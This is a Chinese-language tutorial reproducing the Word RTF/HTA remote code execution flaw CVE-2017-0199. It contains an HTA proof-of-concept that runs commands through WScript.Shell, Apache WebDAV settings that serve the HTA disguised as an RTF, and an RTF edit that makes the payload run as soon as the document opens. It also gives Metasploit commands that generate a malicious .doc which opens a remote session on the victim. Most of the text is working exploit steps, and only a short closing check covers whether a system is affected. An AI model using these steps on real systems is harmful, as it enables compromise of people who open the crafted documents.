记录一下过程,周日已经出了结果,但是过程忘记了,抽空再次实现了一下。结尾附上利用MSF生成exploit(外国黑客城会玩)。

准备工作

一台apache服务器(这里我用Kali)、POC和一个Word文档。
POC内容大概如下:

1
2
3
4
<script>
a=new ActiveXObject("WScript.Shell");
a.run('%windir%\\System32\\cmd.exe /c calc.exe', 0);window.close();
</script>

Word文档内容任意。
Word文档内容

然后将其放在Kali服务器上
Apache需要开启DAV支持,具体命令如下

1
2
3
4
a2enmod dav  
a2enmod dav_fs
a2enmod dav_lock
a2enmod headers

apache配置

测试过程

在web目录新建ms文件夹,将test.docx复制到ms目录下,并重命名为test.rtf

1
2

root@kali:~/Documents# cp test.docx /var/www/html/ms/test.rtf

新建Word文档,插入对象
如图
新建exploit文档

并保存为rtf文件,如233.rtf
删除服务器上的test.rtf文件
并将poc.hta文件复制到ms目录下,并改名为test.rtf

1
2
root@kali:/var/www/html/ms# rm -rf test.rtf 
root@kali:~/Documents# cp poc.hta /var/www/html/ms/test.rtf

修改Apache配置

1
2
3
4
5
6
7
<Directory />  
Dav on
</Directory>

<Directory /var/www/html/ms/>
Header set Content-Type "application/hta"
</Directory>

修改Apache配置

并重启服务器service apache2 restart

打开233.rtf文档

双击word文档的文字,将会有惊喜弹出

计算器弹出

打开文档就弹出的话需要将\object\objautlink\rsltpict修改为
\object\objautlink\objupdate\rsltpict
修改对比

再次打开文件

执行过程

彩蛋(MSF下的实现)

在kali下执行。
首先更新msf到最新。(假设你们都完成了这个过程)

下载利用脚本

1
root@kali:/usr/share/metasploit-framework/modules/exploits/windows/fileformat# wget https://raw.githubusercontent.com/nixawk/metasploit-framework/3d082814cbedc065f329498b9c6fb7951f8ebbd5/modules/exploits/windows/fileformat/office_word_hta.rb

然后msf下执行命令reload_all重新加载模块

下载并加载脚本

下载rtf文件到/usr/share/metasploit-framework/data/exploits目录

1
2
3
cd /usr/share/metasploit-framework/data/exploits

wget https://raw.githubusercontent.com/nixawk/metasploit-framework/3d082814cbedc065f329498b9c6fb7951f8ebbd5/data/exploits/cve-2017-0199.rtf

开启hta服务

1
2
3
msf > use exploit/windows/misc/hta_server
msf exploit(hta_server) > show options
msf exploit(hta_server) > run

开启hta服务

生成exploit文档

1
2
3
4
5
msf exploit(hta_server) > use exploit/windows/fileformat/office_word_hta
msf exploit(office_word_hta) > show options
msf exploit(office_word_hta) > set TARGETURI http://192.168.232.134:8080/4Jmy4cmcZZV7pwi.hta
msf exploit(office_word_hta) > set FILENAME msf.doc
msf exploit(office_word_hta) > run

生成恶意文档

将生成的msf.doc文件复制到windows上,打开即可获取一个会话

如下所示

WIndows下结果

Windows上打开结果

Kali下结果

Kali上结果

附加

如何判断是否受到影响(2017.04.19)

新建word文档->插入->对象->对象->由文件创建
在文件名中输入获取的hta链接,并选中链接到文件
如果出现如下结果,则说明受到影响

检测是否受到影响

如果仅仅出现下面的弹窗,则说明不受影响,就不需要接下来的测试了。。
出错弹窗

主机和虚拟机镜像采用的同一套系统,Office用的也一样,但是虚拟机不可以,而主机可以。我也不知道为啥····

参考文章

http://rewtin.blogspot.nl/2017/04/cve-2017-0199-practical-exploitation-poc.html?m=1
https://github.com/rapid7/metasploit-framework/pull/8254